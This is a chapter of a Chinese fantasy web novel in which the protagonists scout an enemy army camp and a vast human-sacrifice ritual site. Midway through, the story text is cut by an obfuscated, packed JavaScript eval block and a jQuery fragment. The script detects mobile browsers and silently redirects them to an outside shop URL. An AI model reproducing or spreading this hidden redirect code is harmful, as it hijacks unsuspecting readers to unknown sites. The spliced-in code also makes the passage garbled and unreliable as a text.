文趣网 > 其他小说 > 重生之王朝教父 > 187.狼廷的囚笼
    马队奔驰了整整一个上午。

    越靠近葬龙谷,草原上的景象就越发诡异——原本应该生机勃勃的草场,出现了大片大片的枯黄,像是被什么抽走了生命力。偶尔能看到被焚毁的部落营地残骸,焦黑的木桩在晨光中矗立,像是一座座墓碑。空气中开始弥漫一种奇怪的味道,像是烧焦的皮革混合着某种甜腻的腥气。

    萧云澜靠在阿史那云背上,目光扫过这些景象,眉头越皱越紧。

    他知道,这些异常都是“大衍浑天阵”运转的征兆——阵法正在贪婪地吸收着这片土地的生命力,为最后的仪式积蓄力量。而更令人心悸的是,远处开始出现被绳索串联的人影,像牲口一样被狼廷骑兵驱赶着,朝着葬龙谷深处走去。哭喊声在风中隐约传来,断断续续,像是绝望的哀歌。

    “停下。”阿史那云突然勒住马缰。

    马队缓缓停下,战士们迅速散开警戒。萧云澜勉强抬起头,看到前方约半里处,一支狼廷骑兵巡逻队正沿着土路缓缓行进。那支队伍有二十余骑,铠甲在阳光下反射着冷硬的光,马背上挂着弯刀和弓箭。他们行进的方向,正是葬龙谷。

    “绕路。”阿史那云低声说,调转马头朝东侧的山地走去。

    马队离开草原,进入一片低矮的丘陵地带。这里的植被稀疏,露出大片裸露的褐色岩石。山路崎岖,马匹只能缓步前行。萧云澜能感觉到阿史那云身体的紧绷——她一手控缰,另一只手始终按在腰间的弯刀刀柄上,目光锐利地扫视着四周。

    “这一带原本有几个小部落。”阿史那云的声音在风中飘来,低沉而压抑,“以放牧和采集草药为生。现在……”

    她没有说下去,但萧云澜已经看到了。

    前方山坡上,散落着几顶被烧毁的帐篷残骸。帐篷的骨架已经碳化,布料化为灰烬,被风吹得到处都是。地上散落着破碎的陶罐、打翻的奶桶,还有几件被踩踏过的孩童衣物。一只木马玩具倒在灰烬中,半个身子已经烧焦。

    没有尸体。

    但空气中那股甜腻的腥气更浓了。

    萧云澈策马靠近,脸色苍白。他怀里的盒子微微震动了一下,发出低沉的嗡鸣,像是感应到了什么。他低头看去,玉石表面泛起一层极淡的、几乎看不见的微光。

    “盒子在……警示。”萧云澈低声说。

    “它在感应阵法吸收生命力的波动。”萧云澜说,声音因为虚弱而有些沙哑,“越靠近核心区域,这种波动越强。盒子是‘三才’核心,对这种违背天地法则的掠夺行为,会有本能的排斥。”

    马队继续前行。

    翻过一道山梁后,眼前的景象让所有人都勒住了马。

    下方是一条狭窄的山谷,谷底有一条土路蜿蜒通向远方。而此刻,那条土路上,正行进着一支庞大的队伍——不是军队,是人群。

    成千上万的人。

    他们被粗糙的麻绳串联着,每十人一组,绳索绑在手腕上,连成一串。队伍中有老人,有妇女,有孩童,甚至还有抱着婴儿的母亲。他们衣衫褴褛,赤着脚,在尘土中艰难行走。狼廷骑兵骑着马在队伍两侧来回巡视,手中的皮鞭不时抽打下来,发出清脆的响声。

    哭喊声、哀求声、孩童的啼哭声混杂在一起,在山谷中回荡。

    “走快点!磨蹭什么!”一名狼廷骑兵厉声呵斥,一鞭子抽在一个踉跄跌倒的老人背上。老人惨叫一声,挣扎着想爬起来,但手腕被绳索拉扯,又摔倒在地。旁边的人想要扶他,却被骑兵一鞭子抽开。

    “别管他!继续走!”

    队伍继续前进,那个老人被拖行着,在地上留下一道血痕。

    萧云澈的呼吸变得急促起来。

    他握着缰绳的手在颤抖,指节因为用力而发白。他看见一个约莫五六岁的孩子,被母亲抱在怀里,孩子的小脸上满是泪痕,嘴巴张着,却发不出声音——哭得太久,已经失声了。他看见一个白发苍苍的老妇人,拄着一根木棍,每一步都走得摇摇晃晃,随时可能倒下。他看见一个年轻女子,怀里的婴儿已经没有了动静,但她依然紧紧抱着,眼神空洞。

    “他们……”萧云澈的声音在颤抖,“他们……都是祭品吗?”

    萧云澜沉默了片刻。

    “是。”他的声音很轻,却像刀子一样锋利,“玄微子的‘大衍浑天阵’,需要海量的生命力和绝望情绪。这些无辜者,就是他成就野心的燃料。”

    “可是……这么多人……”萧云澈的声音哽住了。

    “这只是其中一支。”阿史那云说,她的声音冰冷而压抑,“从三天前开始,狼廷军队就在草原上四处抓捕部落民、流民、俘虏。我听说,有些部落反抗,就被整个屠灭。有些部落投降,就被驱赶着往葬龙谷走。”

    她顿了顿,补充道:“我苍狼部原本也在名单上。如果不是我提前带着部众迁移,现在……”

    她没有说下去,但握刀的手又紧了几分。

    下方的队伍缓缓通过山谷。哭喊声在风中飘荡,像是一首永无止境的哀歌。萧云澈看着那些麻木的面孔,那些绝望的眼神,那些被拖行在地上的身体,感觉胸口有什么东西在翻涌。

    愤怒。

    还有……无力感。

    他知道哥哥在做什么,知道他们为什么要去葬龙谷。他知道,只有阻止玄微子,才能救下更多的人。但此刻,看着眼前这些正在走向死亡的人,他第一次如此清晰地感受到——他们来得太晚了。

    已经有人死了。

    正在有人死。

    还会有更多的人死。

    “我们……”萧云澈的声音很轻,“我们救不了他们,是吗?”

    萧云澜转过头,看着弟弟。

    晨光中,萧云澈的脸苍白得没有血色,眼眶发红,嘴唇紧抿着。那双总是清澈明亮的眼睛,此刻蒙上了一层阴影——那是第一次亲眼目睹人间惨剧后,纯善心灵遭受冲击的痕迹。

    “现在救不了。”萧云澜说,声音平静而坚定,“但如果我们成功阻止玄微子,就能救下后面的人。如果我们失败……”

    他没有说下去,但意思已经很清楚。

    萧云澈闭上眼睛,深吸了一口气。

    再睁开时,眼中的迷茫和痛苦没有消失,但多了一丝坚定。

    “我明白了。”他说,“继续前进。”

    阿史那云看了他一眼,眼中闪过一丝复杂的情绪——有赞赏,也有怜悯。她调转马头,带着马队绕开山谷,继续朝山地深处走去。

    接下来的路程更加艰难。

    为了避开狼廷的巡逻队和关卡,他们不得不选择最崎岖的山路。有些地方根本没有路,只能牵着马在乱石中攀爬。萧云澜的伤势在这种颠簸中又开始渗血,阿史那云不得不每隔一个时辰就停下来检查他的伤口。

    “还能坚持吗?”她低声问。

    萧云澜点头,脸色苍白如纸,但眼神依然清醒:“继续走。”

    午后时分,他们翻过一道陡峭的山脊。

    阿史那云示意众人下马,匍匐在岩石后面。她拨开一丛枯草,指向下方:“看。”

    萧云澜和萧云澈小心地爬到她身边。

    下方是一片开阔的盆地——或者说,曾经是盆地。现在,盆地的边缘筑起了高高的木栅栏,栅栏上挂着狼廷的旗帜。栅栏内,密密麻麻地扎着数百顶帐篷,炊烟袅袅升起,战马的嘶鸣声和士兵的吆喝声隐约传来。

    那是狼廷的主力大营。

    营地规模庞大,至少驻扎了上万兵力。帐篷排列整齐,中央是几顶巨大的金色王帐,周围有重兵把守。营地里,士兵们正在操练,刀剑碰撞的声音此起彼伏。更远处,可以看到一队队骑兵进出营地,扬起漫天尘土。

    “那就是葬龙谷的入口。”阿史那云低声说,“盆地里面,就是主祭坛所在。狼廷大军驻扎在这里,一是保护祭坛,二是等仪式完成后,获得‘神力’加持,就会从这里出发,进攻大周边境。”

    她顿了顿,补充道:“我们进不去。正面强攻,等于送死。”

    萧云澜仔细观察着营地的布局。

    营地依山而建,背靠着一道陡峭的环形山壁。山壁高耸入云,岩石裸露,几乎没有植被。营地唯一的入口在东南侧,有重兵把守,设了三道关卡,每道关卡都有箭楼和拒马。

    确实进不去。

    “绕过去。”萧云澜说,“从山壁侧面找路。”

    “山壁太陡,马匹上不去。”阿史那云摇头,“而且,山壁上肯定有哨兵。”

    “那就弃马。”萧云澜说得很平静,“我们本来就不能骑马进去。动静太大。”

    阿史那云沉默了片刻,看向身后的战士们。

    这些苍狼部战士跟着她一路奔逃,一路战斗,已经疲惫不堪。但他们没有一个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804398|207260||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人抱怨,没有一个人退缩。此刻,听到要弃马潜入,他们的表情也没有变化,只是默默检查着装备,准备执行命令。

    “好。”阿史那云点头,“但你的伤……”

    “死不了。”萧云澜说,“萧云澈,扶我起来。”

    萧云澈连忙上前,小心地将哥哥从马背上扶下来。萧云澜的左肩伤口又渗出了血,染红了绷带。他站直身体时,身体晃了一下,但很快稳住。他看向阿史那云:“找一条最隐蔽的路。我们时间不多了。”

    阿史那云点头,转身对战士们吩咐了几句。

    十余名战士留下看守马匹,并负责在外接应。阿史那云只带了四名最精锐的战士,加上萧云澜兄弟,一共七人,轻装简从,朝着山壁侧面摸去。

    山路陡峭,碎石遍布。

    萧云澜每走一步,左肩就传来撕裂般的疼痛。汗水浸湿了他的额发,顺着脸颊滑落。但他咬着牙,一声不吭,只是紧紧抓着萧云澈的手臂,借力前行。

    阿史那云走在最前面,她的动作敏捷得像一只山猫,在乱石间跳跃穿梭,几乎没有发出声音。她不时停下来,观察四周,倾听动静。有一次,她突然抬手示意众人隐蔽——上方山壁上,两名狼廷哨兵正沿着巡逻路线走过,盔甲摩擦的声音清晰可闻。

    众人屏住呼吸,紧贴在岩石后面。

    直到哨兵的脚步声远去,阿史那云才示意继续前进。

    就这样走走停停,一个时辰后,他们终于爬到了半山腰。

    从这里,可以俯瞰整个盆地。

    而当他们看清盆地内部的景象时,所有人都倒吸了一口冷气。

    盆地中央,矗立着一座巨大的、古老的巨石祭坛。

    祭坛呈圆形,直径至少有三十丈,由无数块巨大的黑色岩石垒砌而成。岩石表面刻满了密密麻麻的符文,那些符文在阳光下闪烁着幽暗的光芒,像是活物在呼吸。祭坛周围,黑气缭绕,形成一道道旋转的气流,将祭坛笼罩在阴森的氛围中。

    而祭坛下方……

    是人。

    成千上万的人。

    他们被绳索串联着,跪伏在祭坛周围的空地上,密密麻麻,像是一片黑色的海洋。他们低着头,身体僵硬,没有任何声音——不是不想发出声音,而是发不出来。萧云澜能看见,每个人的额头上都贴着一张黄色的符纸,符纸上用朱砂画着扭曲的符文。

    那些符纸在微微发光,吸收着这些人身上散发出的生命力和绝望情绪。

    更令人心悸的是,盆地四周的环形山壁上,布满了闪烁着幽光的符文。那些符文从山脚一直延伸到山顶,密密麻麻,连成一片巨大的、覆盖整个盆地的法阵。符文的光芒与天空中的血色云气相呼应,形成一道肉眼可见的、半透明的屏障,将整个盆地笼罩其中。

    那是一个囚笼。

    一个用符文、阵法、还有无数人的生命构筑的囚笼。

    囚笼内部,黑气翻涌,绝望弥漫。

    囚笼外部,狼廷大军驻扎,旌旗如林。

    萧云澈看着这一幕,感觉胸口像是被什么东西堵住了,呼吸变得困难。他怀里的盒子剧烈震动起来,发出尖锐的嗡鸣,玉石表面泛起刺眼的金光——那是极致的排斥和愤怒。

    “那就是……‘大衍浑天阵’?”萧云澈的声音在颤抖。

    “是。”萧云澜说,他的脸色比刚才更加苍白,但眼神却异常冷静,“你看祭坛中央。”

    萧云澈顺着哥哥的目光看去。

    祭坛中央,有一个高台。高台上,盘膝坐着一个人。

    那人穿着黑色的道袍,长发披散,背对着他们。他双手结印,身前悬浮着一面巨大的铜镜。铜镜中,映照出盆地内所有人的影像,那些影像扭曲变形,像是被困在镜中的魂魄。

    即使隔着这么远的距离,即使只看背影,萧云澜也能认出来——

    玄微子。

    大周国师,天机阁之主,这一切的始作俑者。

    此刻,他正坐在祭坛中央,操控着这个吞噬生命的邪阵,等待着至阴之日的到来,等待着掠夺三才本源,成就他那“代天行道”的野心。

    萧云澜看着那个背影,缓缓握紧了拳头。

    左肩的伤口因为用力而崩裂,鲜血渗出,染红了手掌。

    但他感觉不到疼痛。

    此刻充斥在他心中的,只有冰冷的杀意。